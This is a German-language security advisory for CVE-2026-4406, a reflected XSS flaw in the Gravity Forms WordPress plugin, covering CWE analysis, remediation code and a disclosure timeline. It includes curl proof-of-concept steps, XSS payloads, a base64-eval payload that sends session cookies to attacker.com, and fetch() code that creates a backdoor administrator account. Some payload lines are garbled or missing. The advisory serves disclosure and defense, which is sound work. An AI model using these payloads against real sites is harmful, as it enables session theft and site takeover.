
Das Gravity Forms Plugin für WordPress (getestet bis Version 2.9.28) ist anfällig für unauthentifiziertes reflektiertes Cross-Site-Scripting (XSS) über den Parameter `form_ids` in der AJAX-Aktion `gform_get_config`.
form_ids-Parameter von gform_get_config| Feld | Wert |
|---|
| Betroffene Software | Gravity Forms (WordPress-Plugin) |
| Anbieter | Rocketgenius, Inc. |
| Schwachstellentyp | CWE-79: Unzureichende Neutralisierung von Eingaben bei der Webseitengenerierung (Reflektiertes Cross-Site-Scripting) |
| CWE-Kette | CWE-20 → CWE-116 → CWE-838 → CWE-79 (siehe CWE-Analyse unten) |
| Betroffene Versionen | Bestätigt in 2.9.28 (aktuellste Version zum Zeitpunkt der Entdeckung); frühere Versionen wahrscheinlich ebenfalls betroffen |
| Behobene Version | 2.9.30.1 (Hotfix) |
| CVSS-3.1-Score | 6.1 (Mittel) |
| CVSS-3.1-Vektor | AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N |
| Erforderliche Authentifizierung | Keine (nicht authentifiziert) |
| Benutzerinteraktion | Erforderlich (das Opfer muss eine vom Angreifer kontrollierte Seite besuchen oder einen manipulierten Link anklicken) |
| Entdeckt von | Anthony Cihan — Obviam |
| Entdeckungsdatum | 2026-03-04 |
| Offenlegungsdatum | 2026-03-18 |
| CVE-ID | CVE-2026-4406 |
Das Gravity-Forms-Plugin für WordPress (getestet bis Version 2.9.28) ist anfällig für nicht authentifiziertes reflektiertes Cross-Site-Scripting (XSS) über den form_ids-Parameter in der AJAX-Aktion gform_get_config. Die Schwachstelle besteht darin, dass vom Benutzer bereitgestellte form_ids-Werte ohne jegliche Bereinigung, Kodierung oder Ausgabe-Escaping wörtlich in der HTTP-Antwort des Servers reflektiert werden. Die Antwort wird mit einem Content-Type: text/html; charset=UTF-8-Header ausgeliefert, wodurch der Browser den reflektierten Inhalt als HTML parst und rendert, einschließlich aller injizierten Skriptelemente.
Ein nicht authentifizierter Angreifer kann diese Schwachstelle ausnutzen, um beliebiges JavaScript im Kontext der Ursprungsdomain der Ziel-WordPress-Website auszuführen. Da die Aktion gform_get_config ein gültiges config_nonce erfordert und dieses Nonce öffentlich im HTML-Quellcode jeder Seite eingebettet ist, die ein Gravity-Forms-Formular lädt, kann ein Angreifer problemlos ein gültiges Nonce erhalten, indem er vor dem Erstellen der Exploit-Anfrage eine beliebige öffentlich zugängliche Seite der Zielwebsite anfordert.
Eine erfolgreiche Ausnutzung ermöglicht es einem Angreifer, Sitzungscookies zu stehlen, Aktionen im Namen authentifizierter Benutzer (einschließlich WordPress-Administratoren) auszuführen, Benutzer auf bösartige Websites umzuleiten, Seiteninhalte zu verunstalten oder durch die Erstellung von Administratorkonten dauerhaften Zugriff zu erlangen.
POST /wp-admin/admin-ajax.php
### Verwundbare Aktion```
gform_get_config
Der args-POST-Parameter akzeptiert ein JSON-Objekt, das ein form_ids-Array enthält. Werte in diesem Array werden ohne Bereinigung als Objektschlüssel in der JSON-Antwortstruktur verwendet:```json
{"form_ids":["ATTACKER_CONTROLLED_VALUE"]}
### Antwortverhalten
Der Server verarbeitet die `form_ids`-Werte und gibt sie als JSON-Schlüssel im Antworttext wieder. Die Antwort wird in HTML-Kommentar-Markern eingebettet und als `text/html` ausgeliefert:```
Content-Type: text/html; charset=UTF-8
<!-- gf:json_start -->{"success":true,"data":{"common":{"form":{"pagination":{"ATTACKER_CONTROLLED_VALUE":null}}}}}<!-- gf:json_end -->
form_ids-Werte werden nicht als Ganzzahlen validiert, bereinigt oder gefiltert. Der Server akzeptiert beliebige Zeichenfolgeninhalte, einschließlich HTML-Tags und Event-Handler.form_ids-Werte werden ohne HTML-Entity-Kodierung im Antworttext widergespiegelt. Zeichen wie <, >, " und ' werden unverändert durchgelassen.Content-Type: text/html; charset=UTF-8 ausgeliefert, was den Browser anweist, den Antworttext als HTML zu parsen. Alle HTML-Tags innerhalb des widergespiegelten Werts werden vom HTML-Parser des Browsers instanziiert und gerendert.config_nonce, das für die Aktion gform_get_config erforderlich ist, ist im JavaScript-Konfigurationsobjekt (gform_theme_config) auf jeder Seite eingebettet, die ein Gravity-Forms-Formular lädt. Dieses Nonce ist auf allen Seiten identisch und nicht an eine bestimmte Benutzersitzung gebunden, wodurch es für nicht authentifizierte Benutzer trivial zu erlangen ist.Diese Schwachstelle ist das Ergebnis mehrerer beitragender Schwächen, die sich zu einer ausnutzbaren Bedingung verketten. Während CWE-79 die primäre Klassifizierung für die CVE-Meldung ist, dokumentiert die vollständige Kette, wie sich jedes Versagen gegenseitig verstärkt, um die Ausnutzung zu ermöglichen.
CWE-20 CWE-116 CWE-838 CWE-79 Improper Input → Improper Encoding → Inappropriate Encoding → Cross-Site Validation or Escaping of Output for Output Context Scripting (XSS) [EXPLOITABLE] form_ids accepts Reflected values are JSON data served as Browser parses arbitrary strings not HTML-entity text/html instead of injected HTML tags instead of integers encoded in response application/json and executes JS
### CWE-20: Unsachgemäße Eingabevalidierung (Beitragend)
**Rolle:** Grundlegender Ermöglicher — erlaubt, dass schädliche Daten in die Verarbeitungspipeline gelangen.
Der Parameter `form_ids` im `args`-JSON-Objekt soll numerische Formular-IDs enthalten, akzeptiert jedoch beliebige Zeichenfolgeneingaben ohne jegliche Validierung. Es werden keine Typprüfung (`intval()`), keine Regex-Filterung (`^[0-9]+$`), kein Whitelist-Abgleich gegen bekannte Formular-IDs und keine Längenbeschränkungen angewendet.
**Beleg:** Der Server akzeptiert und verarbeitet `form_ids`-Werte, die HTML-Tags, JavaScript-Ereignishandler und beliebiges Unicode enthalten, ohne sie abzulehnen.```json
{"form_ids":["<svg onload=alert(1)>"]} ← Accepted
{"form_ids":["3"]} ← Expected
Rolle: Kernschwachstelle — die direkte Ursache für den XSS-Zustand.
Wenn der Server die JSON-Antwort mit den form_ids-Werten erstellt, wendet er keine HTML-Entity-Kodierung auf die Ausgabe an. Zeichen mit besonderer Bedeutung in HTML (<, >, ", ', &) gelangen unverändert in den Antworttext. Die PHP-Funktionen htmlspecialchars(), esc_html(), wp_json_encode() mit JSON_HEX_TAG oder gleichwertige Ausgabekodierungsfunktionen werden nicht auf die form_ids-Werte angewendet, bevor sie in die Antwort geschrieben werden.
Nachweis: Die wörtliche Zeichenkette <svg onload=alert(document.domain)> erscheint im Antworttext byte-für-byte identisch zur Eingabe, anstatt als <svg onload=alert(document.domain)>.
Rolle: Kontext-Eskalation — verwandelt ein Datenreflexionsproblem in eine ausführbare Code-Injektion.
Der Antworttext enthält JSON-strukturierte Daten, wird jedoch mit Content-Type: text/html; charset=UTF-8 ausgeliefert. Diese Content-Type-Deklaration weist den HTML-Parser des Browsers an, den gesamten Antworttext als HTML-Dokument zu verarbeiten. Würde die Antwort als application/json ausgeliefert, würde der Browser die Antwort als Klartext rendern und es würde kein HTML-Parsing stattfinden — die injizierten Tags würden als wörtlicher Text angezeigt, anstatt als DOM-Elemente instanziiert zu werden.
Nachweis:```http Content-Type: text/html; charset=UTF-8 ← Actual (enables HTML parsing) Content-Type: application/json ← Expected (would prevent exploitation)
Der `X-Content-Type-Options: nosniff`-Header ist vorhanden, aber irrelevant, da der Server explizit `text/html` deklariert — es gibt kein MIME-Type-Sniffing, das verhindert werden müsste.
### CWE-79: Unzureichende Neutralisierung von Eingaben bei der Generierung von Webseiten — Reflektiertes XSS (resultierend)
**Rolle:** Ausnutzbares Ergebnis — die realisierte Schwachstelle.
Die Kombination der drei beitragenden Schwächen erzeugt eine reflektierte Cross-Site-Scripting-Bedingung. Vom Benutzer bereitgestellte Eingaben fließen aus der HTTP-Anfrage durch die serverseitige Verarbeitung und in die HTTP-Antwort, ohne Bereinigung, Kodierung oder kontextgerechte Content-Type-Deklaration, was zur Ausführung beliebigen JavaScripts im Browser des Opfers führt.
**Untertyp:** Reflektiert (Typ 1) — der Payload ist in der HTTP-Anfrage enthalten und wird unmittelbar in der HTTP-Antwort reflektiert, ohne Speicherung.
### Übersichtstabelle
| CWE-ID | Name | Rolle | Allein ausnutzbar? |
|---|---|---|---|
| CWE-20 | Unzureichende Eingabevalidierung | Beitragend (grundlegender Auslöser) | Nein — schlechte Daten gelangen hinein, werden aber nicht gerendert |
| CWE-116 | Unzureichende Kodierung oder Maskierung der Ausgabe | Primärer technischer Fehler | Teilweise — erfordert HTML-Rendering-Kontext |
| CWE-838 | Ungeeignete Kodierung für den Ausgabekontext | Verstärkend (Kontext-Eskalation) | Nein — erfordert vorhandene, nicht maskierte Daten |
| CWE-79 | Cross-Site Scripting (reflektiert) | **Resultierend (ausnutzbar)** | **Ja — dies ist die realisierte Schwachstelle** |
### Analyse der Mindestbehebung
Jede **einzelne** Abhilfemaßnahme aus der folgenden Liste würde die Kette unterbrechen und die Ausnutzung verhindern:
| Behebung | Unterbricht Kette bei | Allein ausreichend? |
|---|---|---|
| Typumwandlung von `form_ids` in Ganzzahlen | CWE-20 (Eingabe) | ✅ Ja |
| HTML-Entity-Kodierung der Ausgabe | CWE-116 (Ausgabe) | ✅ Ja |
| Antwort als `application/json` ausliefern | CWE-838 (Kontext) | ✅ Ja |
**Empfehlung:** Implementieren Sie alle drei als Defense-in-Depth. Die kritischste Behebung ist die Ausgabekodierung (CWE-116), da sie gegen aktuelle und zukünftige Injektionsvektoren schützt, unabhängig von Eingabevalidierung oder Content-Type-Änderungen.
---
## Wordfence-Einreichungsreferenz
| Feld | Wert |
|---|---|
| **Software-Typ** | WordPress-Plugin |
| **Software-Slug** | `gravityforms` |
| **Wordfence-Intel-URL** | https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/gravityforms |
| **Betroffene Versionen** | <= 2.9.28 (aktuell bestätigt) |
| **Schwachstellentitel** | Gravity Forms <= 2.9.28 — Nicht authentifiziertes reflektiertes Cross-Site Scripting über den Parameter `form_ids` |
| **CWE (primär)** | CWE-79 |
| **CVSS 3.1** | 6.1 — `AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N` |
| **Erforderliche Berechtigung** | Nicht authentifiziert |
| **Patch-Status** | In 2.9.30.1 gepatcht |
---
## Betroffene Konfiguration
### Erforderliche serverseitige Bedingungen
- WordPress-Installation mit aktivem Gravity-Forms-Plugin (beliebiges Formular veröffentlicht)
- Die AJAX-Aktion `gform_get_config` registriert (Standardverhalten bei Plugin-Aktivierung)
### Nonce-Zugänglichkeit
Der `config_nonce` ist in der globalen JavaScript-Variablen `gform_theme_config` auf jeder Seite eingebettet, die ein Gravity-Forms-Formular enthält:```javascript
var gform_theme_config = {
"common": { ... },
"config_nonce": "9308d72c0a" // ← Publicly accessible
};
Dieser Nonce wurde bestätigt als:
| Header | Wert | Auswirkung auf die Ausnutzbarkeit |
|---|---|---|
X-Content-Type-Options | nosniff | Milderung nicht wirksam — der Server deklariert explizit text/html |
X-Frame-Options | SAMEORIGIN | Verhindert iframe-basierte Ausnutzung von fremden Ursprüngen; Popup-/Weiterleitungs-Zustellung funktioniert weiterhin |
Content-Security-Policy | frame-ancestors 'self'; | Keine script-src-Direktive — die Ausführung von Inline-Skripten ist uneingeschränkt |
Referrer-Policy | strict-origin-when-cross-origin | Keine Auswirkung auf die Ausnutzbarkeit |
| Komponente | Version |
|---|---|
| WordPress | 6.9.1 |
| Gravity Forms | 2.9.28 |
| Webserver | Apache (HTTP/2) |
| Testplattform | Kali Linux, curl 8.x |
Fordern Sie eine beliebige Seite der Zielwebsite an, die ein Gravity-Forms-Formular lädt, und extrahieren Sie den config_nonce-Wert:```bash
curl -sk "https://[TARGET]/request-quote/" | grep -oP '"config_nonce":"\K[a-f0-9]+'
**Beispielausgabe:**```
9308d72c0a
Senden Sie eine POST-Anfrage an den WordPress-AJAX-Handler mit einem manipulierten form_ids-Wert, der ein XSS-Payload enthält:```bash
curl -sk -X POST "https://[TARGET]/wp-admin/admin-ajax.php"
-F "gform_ajax_nonce=[NONCE]"
-F "action=gform_get_config"
-F 'args={"form_ids":[""]}'
-F "config_path=gform_theme_config/common/form/pagination/3"
-F "query_string="
### Schritt 3: Reflexion beobachten
**HTTP-Antwort-Header:**```http
HTTP/2 200
x-robots-tag: noindex
x-content-type-options: nosniff
expires: Wed, 11 Jan 1984 05:00:00 GMT
cache-control: no-cache, must-revalidate, max-age=0, no-store, private
referrer-policy: strict-origin-when-cross-origin
x-frame-options: SAMEORIGIN
content-security-policy: frame-ancestors 'self';
content-type: text/html; charset=UTF-8
server: Apache
HTTP-Antworttext:```html
Das `<svg onload=alert(document.domain)>`-Payload wird **wörtlich ohne jegliche Kodierung** im Antworttext reflektiert. Da die Antwort als `text/html` ausgeliefert wird, instanziiert der Browser das SVG-Element und führt den `onload`-Event-Handler aus, wodurch die JavaScript-Ausführung im Kontext der Origin des Ziel-Sites ausgelöst wird.
### Zusätzliche Beobachtungen
**Mehrere Payloads können gleichzeitig injiziert werden** über das `form_ids`-Array:```bash
curl -sk -X POST "https://[TARGET]/wp-admin/admin-ajax.php" \
-F "gform_ajax_nonce=[NONCE]" \
-F "action=gform_get_config" \
-F 'args={"form_ids":["<svg onload=alert(1)>",""]}' \
-F "config_path=gform_theme_config/common/form/pagination/3" \
-F "query_string="
Antwort:```html
**Die `config_path`-Formularnummer ist beliebig** — jede ganze Zahl funktioniert (getestet: `1`, `3`, `999`), und ungültige Konfigurationspfade geben eine Fehlermeldung zurück, die den `form_ids`-Wert nicht widerspiegelt.
---
## Ausnutzungsszenarien
### Szenario 1: Session-Hijacking durch Cookie-Exfiltration
Ein Angreifer hostet eine Seite, die automatisch ein gültiges Nonce vom Ziel abruft und dann das Exploit-Formular an ein Popup-Fenster übermittelt. Die Payload exfiltriert Session-Cookies an einen vom Angreifer kontrollierten Server:
**Payload:**```html
<svg id=[BASE64_ENCODED_JS] onload=eval(atob(this.id))>
Dekodiertes JavaScript:```javascript new Image().src = "https://attacker.com/collect?c=" + btoa(document.cookie) + "&u=" + btoa(location.href);
Diese Technik nutzt das `this.id`-Selbstreferenzmuster, um Anführungszeichen und Leerzeichen im reflektierten Attributkontext zu vermeiden, und kodiert die vollständige Exploit-Logik in Base64 innerhalb des `id`-Attributs des SVG-Elements.
Wenn ein authentifizierter WordPress-Administrator die Seite des Angreifers besucht, wird sein Sitzungscookie (`wordpress_logged_in_*`, `wordpress_sec_*`) an den Angreifer übertragen, der sich dann als Administrator ausgeben kann.
### Szenario 2: Erstellung eines Administratorkontos
Mit demselben Zustellmechanismus kann die Payload authentifizierte API-Anfragen an die WordPress-REST-API oder Admin-Seiten stellen, um ein neues Administratorkonto zu erstellen:```javascript
fetch('/wp-json/wp/v2/users', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json', 'X-WP-Nonce': wpApiSettings.nonce},
body: JSON.stringify({username:'backdoor', password:'P@ssw0rd!', email:'[email protected]', roles:['administrator']})
});
Das reflektierte XSS kann das gesamte Seiten-DOM durch eine überzeugende Phishing-Überlagerung ersetzen (z. B. eine gefälschte Anmeldeseite oder eine Sitzungszeitüberschreitungs-Aufforderung), um Anmeldedaten direkt zu erbeuten.
┌─────────────┐ 1. GET /any-page/ ┌─────────────────┐ │ Attacker │ ──────────────────────────────► Target WordPress │ │ (External) │ ◄────────────────────────────── (Gravity Forms) │ │ │ 2. HTML with config_nonce │ │ │ │ │ │ │ │ 3. Craft malicious page │ │ │ │ with auto-submit form │ │ │ │ │ │ │ ┌────────┐ │ 4. Send link to victim │ │ │ │Malicious│ │ ───────────────────────► │ │ │ │ Page │ │ ┌───────┴──┐ │ │ └────────┘ │ │ Victim │ │ │ │ │ (WP Admin)│ │ │ │ └───────┬──┘ │ │ │ 5. Victim's browser POSTs │ │ │ │ XSS payload with nonce │ │ │ │ ────────►│ │ │ │ 6. Server reflects payload │ │ │ │ unescaped in text/html │ │ │ │ ◄────────│ │ │ │ 7. JS executes in target │ │ │ │ origin (session context)│ │ │ │ │ │ │ │ ◄── 8. Exfil cookies/tokens ── │ │ └─────────────┘ └─────────────────┘
## MITRE ATT&CK-Zuordnung
| Taktik | Technik | ID | Beschreibung |
|---|---|---|---|
| Erster Zugriff | Drive-by-Compromise | T1189 | Opfer besucht eine vom Angreifer kontrollierte Seite, die den XSS-Auslieferungsmechanismus hostet |
| Ausführung | Benutzerausführung: Bösartiger Link | T1204.001 | Opfer klickt auf einen Link zur Angreiferseite oder wird umgeleitet |
| Anmeldedaten-Zugriff | Web-Sitzungscookie stehlen | T1539 | XSS-Payload exfiltriert Sitzungscookies aus dem Browser des Opfers |
| Persistenz | Konto erstellen | T1136.001 | Angreifer nutzt gestohlene Admin-Sitzung, um ein Hintertür-Administratorkonto zu erstellen |
| Umgehung der Verteidigung | Missbrauch von Elevation-Control-Mechanismen | T1548 | XSS wird im Kontext der Sitzung eines privilegierten Benutzers ausgeführt |
---
## Auswirkungsbewertung
### Vertraulichkeit
- **Sitzungscookies** (einschließlich `wordpress_logged_in_*` und `wordpress_sec_*`) können exfiltriert werden
- **CSRF-Nonces**, die im DOM sichtbar sind, können für nachfolgende API-Anfragen erfasst werden
- **Benutzer-PII**, die auf Admin-Seiten gerendert wird, ist für das injizierte Skript zugänglich
### Integrität
- **Administrative Aktionen** können im Namen des Opfers ausgeführt werden (Beitragserstellung, Plugin-Installation, Benutzerverwaltung, Theme-Bearbeitung)
- **Seiteninhalte** können geändert oder verunstaltet werden
- **Hintertür-Konten** können für dauerhaften Zugriff erstellt werden
### Verfügbarkeit
- **Site-Übernahme** durch Kompromittierung des administrativen Kontos kann zum vollständigen Verlust der Verfügbarkeit führen
- **Malware-Injektion** über den Theme-/Plugin-Editor könnte die Site unbrauchbar oder für Besucher schädlich machen
---
## Empfehlungen zur Behebung
### Für Gravity Forms (Anbieter)
1. **Eingabevalidierung** — Erzwingen Sie striktes Integer-Typ-Casting für alle `form_ids`-Werte vor der Verarbeitung. Lehnen Sie jeden Wert ab, der nicht mit `^[0-9]+$` übereinstimmt: ```php
$form_ids = array_map('intval', $form_ids);
$form_ids = array_filter($form_ids, function($id) { return $id > 0; });
wp_json_encode() mit den Flags JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT an, wenn Sie die JSON-Antwort erstellen, um sicherzustellen, dass HTML-relevante Zeichen maskiert werden: ```php
echo wp_json_encode($response_data, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
Content-Type der Antwort auf application/json anstelle von text/html für alle AJAX-JSON-Antworten. Dadurch wird verhindert, dass der Browser die Antwort als HTML interpretiert, selbst wenn nicht bereinigter Inhalt zurückgespiegelt wird: ```php
header('Content-Type: application/json; charset=UTF-8');
config_nonce an die Benutzersitzung zu binden oder eine Ratenbegrenzung bei der Nonce-Erzeugung zu implementieren, um die Kosten einer automatisierten Ausnutzung zu erhöhen.args-Parameter von admin-ajax.php-POST-Anfragen zu erkennen und zu blockieren, bei denen action=gform_get_config gesetzt istscript-src-CSP-Direktive (z. B. script-src 'self'), um die Ausführung von Inline-Skripten selbst bei Reflektion zu verhindern| Datum | Ereignis |
|---|---|
| 2026-03-04 | Schwachstelle während eines autorisierten Penetrationstests entdeckt |
| 2026-03-04 | An Wordfence (WordPress-CNA) gemeldet |
| 2026-03-XX | Erste Ablehnung durch Wordfence (als Self-XSS fehlklassifiziert) |
| 2026-03-XX | Mit ausgereiftem POC und Nonce-Analyse erneut eingereicht; Entscheidung revidiert |
| 2026-03-18 | CVE-2026-4406 von Wordfence zugewiesen |
| 2026-03-18 | Anbieter per [email protected] benachrichtigt |
| 2026-03-21 | Anbieter bestätigte und stellte Hotfix (2.9.30.1) zur Überprüfung bereit |
| 2026-04-02 | Patch verifiziert — absint()-Eingabevalidierung für form_ids und Content-Type: application/json bestätigt, dass die Schwachstelle behoben ist |
| 2026-04-02 | Schwachstelle behoben |
Diese Schwachstelle wurde während eines autorisierten Penetrationstest-Einsatzes entdeckt, der unter einer unterzeichneten Leistungsbeschreibung mit ausdrücklicher schriftlicher Genehmigung durchgeführt wurde. Alle Tests wurden innerhalb des vereinbarten Umfangs durchgeführt, und die Ergebnisse wurden dem Kunden unmittelbar nach der Entdeckung gemeldet. Diese Offenlegung folgt den Praktiken verantwortungsvoller Offenlegung. Es wurden keine unbefugten Systeme aufgerufen und keine Daten außerhalb der kontrollierten Proof-of-Concept-Validierung exfiltriert.
Entdeckt von: Anthony Cihan